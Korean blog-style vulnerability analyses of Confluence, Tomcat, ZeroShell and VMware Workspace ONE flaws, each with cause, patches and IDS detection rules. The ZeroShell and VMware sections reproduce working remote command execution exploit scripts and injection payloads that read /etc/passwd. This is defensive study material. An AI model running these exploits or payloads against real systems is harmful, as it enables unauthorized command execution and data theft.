- https://www.krcert.or.kr/data/secNoticeView.do?bulletin_writing_sequence=36052

https://www.vmware.com/security/advisories/VMSA-2021-0010.html

https://pentest-tools.com/blog/exploit-vmware-vcenter-rce-cve-2021-21985

https://github.com/rapid7/metasploit-framework/blob/master/modules/exploits/linux/http/vmware_vcenter_vsan_health_rce.rb

https://blog.alyac.co.kr/3797

- https://cert.360.cn/report/detail?id=931e631529a7025cdd60e60819e4a601

https://github.com/xnianq/cve-2021-21985_exp

https://www.programmersought.com/article/22519046437/

- https://attackerkb.com/topics/X85GKjaVER/cve-2021-21985/rapid7-analysis?referrer=home

https://iswin.org/2021/06/02/Vcenter-Server-CVE-2021-21985-RCE-PAYLOAD/

- https://kb.vmware.com/s/article/83829

- https://www.kisa.or.kr/20205/form?postSeq=1016&page=1 

1. Confluence 

- 아틀라시안(Atlassian)에서 개발한 자바 기반의 소프트웨어

- 팀원들이 효율적으로 지식을 공유하고 협업할 수 있는 도구

 

2. 취약점

[사진 1]&nbsp;https://nvd.nist.gov/vuln/detail/CVE-2017-7415

- Atlassian Confluence에서 원격 공격자가 인증을 우회하여 자원에 접근 가능한 취약점

영향받는 버전
6.0.0 <= Atlassian Confluence < 6.0.7

 

2.1 원인

- Exploit 코드

- 공격자들은 diff REST 리소스를 악용함

※ [사진 1]에서 초안 diff REST 리소스의 사용으로 발생한 것으로, 초안은 Default를 의미하는 것으로 판단됨.

rest/tinymce/1/content/<Page ID>/draft/diff

 

- 취약한 버전의 diff REST 리소스를 확인해보면, 익명의 사용자가 해당 경로에 액세스 할 수 있음을 확인 가능함

- 해당 자원에 접근하는 사용자에대한 권한 검증이 존재하지 않음.

※ 경로 : confluence_editors_6.0.6_plus_6.0.7\confluence-editor-6.0.6_source_from_cfr\com\atlassian\confluence\tinymceplugin\rest\PageResource.java

[사진 2] 취약한 버전(6.0.6)의 diff REST

 

- 공격자들은 rest/tinymce/1/content/<Page ID>/draft/diff URL을 통해 인증없이 Confluence의 모든 블로그 및 페이지의 현재 콘텐츠에 접근 가능

[사진 3] Exploit 예시

3. 대응방안

3.1 서버측면

① 벤더사에서 제공하는 최신 버전으로 업데이트 적용

- Confluence를 버전 6.1.0 이상으로 업그레이드 권장

 

② Confluence 6.1.0 버전으로 업데이트가 불가한 경우

- Confluence 6.0.X 실행 중이며, 최신 버전 업그레이드가 불가할 경우 6.0.7로 업그레이드

- permissionManager.hasPermission()를 통한 권한 검증 추가

- 사용자에게 권한이 없을 경우 NOT_FOUND(404 Error) 반환

※ 경로 : confluence_editors_6.0.6_plus_6.0.7\confluence-editor-6.0.7_source_from_cfr\com\atlassian\confluence\tinymceplugin\rest\PageResource.java

[사진 4] 6.0.7 diff REST

 

③ 기타 방안

- 공동 편집 기능 비활성화

[사진 5] 공동 편집 기능 비활성화 방법

3.2 네트워크 측면

① 탐지 정책 설정 및 적용

 

4. 참고

https://nvd.nist.gov/vuln/detail/CVE-2017-7415

https://github.com/allyshka/exploits/blob/c1f5f0dfa2494001e7c3cffabfbf0219b0e35e08/confluence/CVE-2017-7415/README.md

https://jira.atlassian.com/browse/CONFSERVER-52222

https://packetstormsecurity.com/files/142330/Confluence-6.0.x-Information-Disclosure.html

https://confluence.atlassian.com/doc/confluence-security-advisory-2017-04-19-887071137.html

1. Tomcat

- 아파치 소프트웨어 재단에서 개발한 웹 애플리케이션 서버

- 자바 환경을 제공하여 자바서버 페이지와 자바 서블릿이 실행할 수 있는 환경을 제공

 

2. 취약점

[사진 1] https://nvd.nist.gov/vuln/detail/CVE-2014-0099

- Content-Length 헤더를 조작하여 정수 오버플로를 유발 및 서비스 거부를 유발시키는 취약점

① 영향받는 버전
- Apache Tomcat 6.0.40 이전 버전
- Apache Tomcat 7.0.53 이전 7.x 버전
- Apache Tomcat 8.0.4 이전 8.x 버전

 

2.1 분석

- 해당 취약점은 java/org/apache/tomcat/util/buf/Ascii.java 패키지에서 발생함

- org.apache.tomcat.util.buf 패키지는 인코딩과 디코딩을 처리하는 util 패키지
- Ascii.java는 이름대로 Ascii 처리와 관련된 함수를 제공

 

- Ascii.java에서 정수의 취급(isDigit 함수) 문제에 의해 발생한 것으로 판단됨.

[사진 2] java/org/apache/tomcat/util/buf/Ascii.java 中 발췌

 

- 공격자는 CVE-2015-1635에서 처럼 Conten-Legth 값을 BoF를 유발할 만큼의 큰 값으로 조작

[사진 3] CVE-2015-1635 공격 패킷

3. 대응방안

3.1 서버측면

① 취약점이 패치된 버전으로 업데이트 적용

- 취약점이 패치된 버전의 코드를 확인해보면, isDigit() 외에도 BoF 검증을 위한 코드가 추가된 것으로 판단됨.

[사진 4] 취약점 패치 전, 후 코드 비교

3.2 네트워크 측면

① 공격 탐지가 가능한 정책 설정 및 적용 

alert tcp $HOME_NET any -> $EXTERNAL_NET $HTTP_PORTS (msg:"INDICATOR-COMPROMISE http POST request smuggling attempt"; flow:to_server,established; content:"POST /"; fast_pattern:only; http_header; content:" HTTP/"; http_header; metadata:service http; reference:cve,2014-0099; classtype:misc-attack; sid:31213; rev:1;)

alert tcp $HOME_NET any -> $EXTERNAL_NET $HTTP_PORTS (msg:"INDICATOR-COMPROMISE http GET request smuggling attempt"; flow:to_server,established; content:"GET /"; fast_pattern:only; http_header; content:" HTTP/"; http_header; metadata:service http; reference:cve,2014-0099; classtype:misc-attack; sid:31212; rev:1;)

 

4. 참고

https://nvd.nist.gov/vuln/detail/CVE-2014-0099
https://tomcat.apache.org/security-6.html
https://tomcat.apache.org/security-7.html
https://tomcat.apache.org/security-8.html
- http://svn.apache.org/viewvc?view=revision&revision=1578814
- http://svn.apache.org/viewvc?view=revision&revision=1578812
- http://svn.apache.org/viewvc?view=revision&revision=1580473
https://github.com/CRaC/tomcat/commit/8828a9902df1a98a0334511578a1dec9412a8234

1. Zeroshell

- 서버 및 임베디드 시스템용 네트워크 서비스 제공을 목표로 하는 소규모 오픈 소스 리눅스 배포판

- 아래 홈페이지에 따르면, 21.09.30 이후 EoS 됨.

 

Zeroshell Linux Router – Routing and Bridging Firewall Solutions

 

www.zeroshell.org

 

[사진 1] ZeroSehll 웹 페이지

2. 취약점

[사진 2] https://nvd.nist.gov/vuln/detail/CVE-2019-12725

- 취약한 버전의 ZeroShell의 경우 HTTP 매개변수에대한 부적절한 필터링으로 인해 발생하는 원격 명령 실행 취약점

- 공격자는 취약한 매개변수를 이용해 OS 명령을 삽입 및 실행할 수 있음

영향받는 버전 : ZeroShell 3.9.0 이하

 

2.1 분석

- 아래 URL을 참고해 환경 구성을 하였으나 오류 발생 (ZeroShell-3.9.0-X86.iso 다운)

 

Download – Zeroshell Linux Router

 

www.zeroshell.org

 

ZeroShellの脆弱性を再現して試してみた(CVE-2019-12725, CVE-2020-29390) - Zuck3r’s Study

初めに 今回、何を書くかというとタイトルの通りZeroShellの脆弱性を再現したいと思っています。 思い立った理由としては、現在卒業研究の内容で扱っているからです。 本題 では、内容に入

zuck3r.hatenablog.com

 

- 해당 취약점은 kerbynet 페이지 내 x509type 매개변수의 입력값 검증 부족으로 인해 발생하며 공격 형태는 다음과 같음

① /cgi-bin/kerbynet? 하위 URL

② x509type 매개변수를 이용

③ 매개변수에 '(싱글 쿼터)를 시작으로하는 명령어를 전송

[사진 3] 공격 패킷

 

- 페이로드 예시

/cgi-bin/kerbynet?Section=NoAuthREQ&Action=x509view&User=Admin&x509type='%0Auname -a%0A' 
/cgi-bin/kerbynet?Action=x509view&Section=NoAuthREQ&User=&x509type='%0A/etc/sudo tar -cf /dev /null /dev/null --checkpoint=1 --checkpoint-action=exec=id%0A'

 

- 취약점을 악용해 /etc/passwd 파일 내용이 노출

[사진 4] /etc/passwd 노출

2.2 PoC

- /cgi-bin/kerbynet? 하위 URL 및 x509type 매개변수를 통해 원격 명령을 삽입

# Exploit Title: ZeroShell 3.9.0 - Remote Command Execution 
# Date: 10/05/2021
# Exploit Author: Fellipe Oliveira
# Vendor Homepage: https://zeroshell.org/
# Software Link: https://zeroshell.org/download/
# Version: < 3.9.0 
# Tested on: ZeroShell 3.9.0
# CVE : CVE-2019-12725

#!/usr/bin/python3

import requests
import optparse
import time

parser = optparse.OptionParser()
parser.add_option('-u', '--url', action="store", dest="url", help='Base target uri (ex. http://target-uri/)')

options, args = parser.parse_args()
if not options.url:
    print('[+] Specify an url target')
    print('[+] Example usage: exploit.py -u http://target-uri/')
    print('[+] Example help usage: exploit.py -h')
    exit()

uri_zeroshell = options.url
session = requests.Session()

def command():
    try:
        check = session.get(uri_zeroshell + "/cgi-bin/kerbynet?Action=x509view&Section=NoAuthREQ&User=&x509type='%0Aid%0A'")
        if check.status_code == 200:
            flag = True
            print('[+] ZeroShell 3.9.0 Remote Command Execution')
            time.sleep(1)
            print('[+] Success connect to target')
            time.sleep(1)
            print('[+] Trying to execute command in ZeroShell OS...\n')
            time.sleep(1)
            check.raise_for_status()  

        while flag:
            cmd = raw_input("$ ")
            payload = "/cgi-bin/kerbynet?Action=x509view&Section=NoAuthREQ&User=&x509type='%0A" + cmd + "%0A'"
            uri_vuln = uri_zeroshell + payload
            burp0_headers = {"User-Agent": "Mozilla/5.0 (X11; Linux x86_64; rv:78.0) Gecko/20100101 Firefox/78.0", "Accept": "text/html,application/xhtml+xml,application/xml;q=0.9,image/webp,*/*;q=0.8", "Accept-Language": "en-US,en;q=0.5", "Accept-Encoding": "gzip, deflate", "Connection": "close", "Upgrade-Insecure-Requests": "1"}
            res = session.get(uri_vuln, headers=burp0_headers, verify=False)
            print(res.text[:res.text.rindex("<html>") / 2])
                
    except requests.exceptions.ConnectionError as err:
        print('[x] Failed to Connect in: '+uri_zeroshell+' ')
        print('[x] This host seems to be Down')
        exit()
    except requests.exceptions.HTTPError as conn:
        print('[x] Failed to execute command in: '+uri_zeroshell+' ')
        print('[x] This host does not appear to be a ZeroShell')
        exit()

command()

 

3. 대응방안

3.1 서버측면

① 벤더사 홈페이지를 참고해 최신 버전으로 업데이트

※ 현재는 EoS 되었으므로 다른 제품 사용 권장

 

New release and critical vulnerability – Zeroshell Linux Router

The new Zeroshell 3.9.3 release is available and contains some bug fixes compared to the previous versions. It is especially urgent to upgrade to this release since earlier versions are affected by the vulnerabilities described inhttps://cve.mitre.org/cgi-

www.zeroshell.org

 

3.2 네트워크 측면

① 취약점을 악용한 시도를 탐지할 수 있는 정책을 보안장비에 적용

 

4. 참고

- https://nvd.nist.gov/vuln/detail/CVE-2019-12725

https://zuck3r.hatenablog.com/entry/2021/05/10/130610

https://www.zeroshell.org/download/

http://lists.emergingthreats.net/pipermail/emerging-sigs/2020-July/029981.html

- https://wins21.co.kr/kor/promotion/information.html?bmain=view&uid=2001&search=%26depth1%3D8%26page%3D16

https://www.exploit-db.com/exploits/49096

- https://rustlang.rs/posts/zeroshell_linux_router_rce/

- https://github.com/h3v0x/CVE-2019-12725-Command-Injection/blob/main/ZeroShell_RCE.py

- https://www.cybersecurity-help.cz/vulnerabilities/19316/

1. VMware 

- 클라우드 컴퓨팅 및 가상화 소프트웨어를 판매하는 기업

 

1.1 Workspace ONE

- 액세스 제어, 애플리케이션 관리 및 멀티 플랫폼 Endpoint 관리를 통합하여 기기에 관계없이 모든 애플리케이션을 제공하고 관리할 수 있는 디지털 워크스페이스 플랫폼

 

What is Workspace ONE? | Modern Anywhere Workforce Platform | VMware

VMware Workspace ONE is an intelligence-driven digital workspace platform that enables you to simply and securely deliver and manage any app on any device, anywhere.

www.vmware.com

 

1.2 Identity Manager

- Workspace ONE의 ID 및 액세스 관리 구성 요소

 

VMware Identity Manager Services 개요

VMware Identity Manager는 Workspace ONE의 ID 및 액세스 관리 구성 요소입니다. Workspace ONE UEM 및 VMware Horizon과 함께 VMware Identity Manager는 웹, 기본 및 가상 애플리케이션을 포함하는 범용 애플리케이션 카탈

docs.vmware.com

 

2. 취약점

[사진 1] https://nvd.nist.gov/vuln/detail/cve-2022-22954

- VMware Workspace ONE Access 및 Identity Manager에서 발생하는 원격 코드 실행 취약성 (CWSS 9.8)

- 네트워크 액세스 권한이 있는 위협 행위자가 RCE를 유발하는 서버 측 템플릿 주입을 트리거할 가능성 有

영향받는 버전
- VMware Workspace ONE Access 20.10.0.0 – 20.10.0.1, 21.08.0.0 – 21.08.0.1
- vIDM(VMware Identity Manager) 3.3.3 – 3.3.6

 

2.1 공격 흐름

① 공격자는 해당 취약점을 악용하여 초기 접근 권한을 얻음

② 취약한 서비스에서 스테이저를 실행하는 PowerShell 명령 실행

※ 스테이저(Stager) : C2 등 외부에서 쉘코드를 다운받아 메모리상에서 실행시켜주는 쉘코드

③ C2서버 접근

[사진 2] 전체 공격 흐름

2.2 분석

- 해당 취약점은 customError.ftl 템플릿에서 발생

- 안전하지 않은 freemarker 구문, 특히 신뢰할 수 없는 입력에 대한 eval 호출의 사용으로 인해 발생

[사진 3] templates/customError.ftl

2.3 PoC

- /catalog-portal/ui/oauth/verify?error=&deviceUdid= URL 요청

- deviceUdid 매개변수 값을 조작

"""
CVE-2022-22954 PoC - VMware Workspace ONE Access Freemarker Server-Side Template Injection
[+] Github:
https://github.com/DrorDvash/CVE-2022-22954_VMware_PoC
[+] Usage:
python3 CVE-2022-22954.py example.com "cat /etc/passwd"
"""

import sys
import requests

usage = '[+] Usage: python3 {} example.com "cat /etc/passwd"\n'.format(sys.argv[0])

if ("-h" in sys.argv[1]) or (len(sys.argv) < 1):
	print("\n" + usage)
	exit()


def execute():
	try:
		# Check if user input includes "http://" or "https://"
		if "://" in sys.argv[1]:
			domain = sys.argv[1]
		else:
			domain = "https://" + sys.argv[1]

		# Build URL
		base_uri = "/catalog-portal/ui/oauth/verify?error=&deviceUdid="
		payload = "${{\"freemarker.template.utility.Execute\"?new()(\"{}\")}}".format(sys.argv[2])
		final_url = domain + base_uri + url_encode_all(payload)

		# Send payload
		r = requests.get(final_url)

		# Handle response output - get the desired data
		from_output = r.text.find(': workspace, device id:')
		to_output = r.text.find(', device type:')

		# Print output
		if from_output != -1:
			print("#PoC URL:", final_url, "\n")
			print("[+] Output:\n----------")
			output = r.text[from_output+24:to_output]
			for line in output.split('\\n'):
				print(line)
		else:
			print("[!] Target is not vulnerable.")
	except:
		print('[!] ERROR!\n{}'.format(usage))
		exit()


def url_encode_all(string):
	return "".join("%{0:0>2}".format(format(ord(char), "x")) for char in string)


execute()

 

- 위 PoC를 통한 패킷을 확인해보면 아래와 같음.

[사진 4] 패킷 확인

3. 대응방안

3.1 서버측면

- 벤더사에서 발표한 보안 권고를 참고하여 최신 버전으로 업데이트

 

VMSA-2022-0011

VMware Workspace ONE Access, Identity Manager and vRealize Automation updates address multiple vulnerabilities.

www.vmware.com

 

3.2 네트워크 측면

- 공개된 PoC를 통해 탐지 정책(/catalog-portal/ui/oauth/verify?error=&deviceUdid=) 설정 및 적용

alert tcp $EXTERNAL_NET any -> $HOME_NET any(msg:"CVE-2022-22954 GET Observed"; \ flow:to_server, established; \ content:"GET"; http_method; \ content:"catalog|2d|portal|2f|ui|2f|oauth|2f|verify|3f|error|3d 26|deviceUdid|3d|"; http.uri; \ priority:2; \ metadata: Not tested for FP rate or accuracy; \ reference:url,https://www.rapid7.com/blog/post/2022/04/29/widespread-exploitation-of-vmware-workspace-one-access-cve-2022-22954/,CVE-2022-22954; \ sid:1000012; rev:1;) \

 

4. 참고

- https://srcincite.io/advisories/src-2022-0005/

- https://www.vmware.com/kr/products/workspace-one.html

- https://cloud.tencent.com/developer/article/2087159

- https://wins21.co.kr/kor/promotion/information.html?bmain=view&uid=3062&search=%26depth1%3D%26find_field%3Dtitle%26find_word%3DCVE-2022-22954%26page%3D1 

https://nvd.nist.gov/vuln/detail/cve-2022-22954

https://github.com/DrorDvash/CVE-2022-22954_VMware_PoC

- https://www.boannews.com/media/view.asp?idx=106896 

- https://krcert.or.kr/data/secNoticeView.do?bulletin_writing_sequence=66633

- https://www.vmware.com/security/advisories/VMSA-2022-0011.html

https://kb.vmware.com/s/article/88099

https://attackerkb.com/topics/BDXyTqY1ld/cve-2022-22954/rapid7-analysis

https://unit42.paloaltonetworks.com/cve-2022-22954-vmware-vulnerabilities/

https://packetstormsecurity.com/files/166935/VMware-Workspace-ONE-Access-Template-Injection-Command-Execution.html

+ Recent posts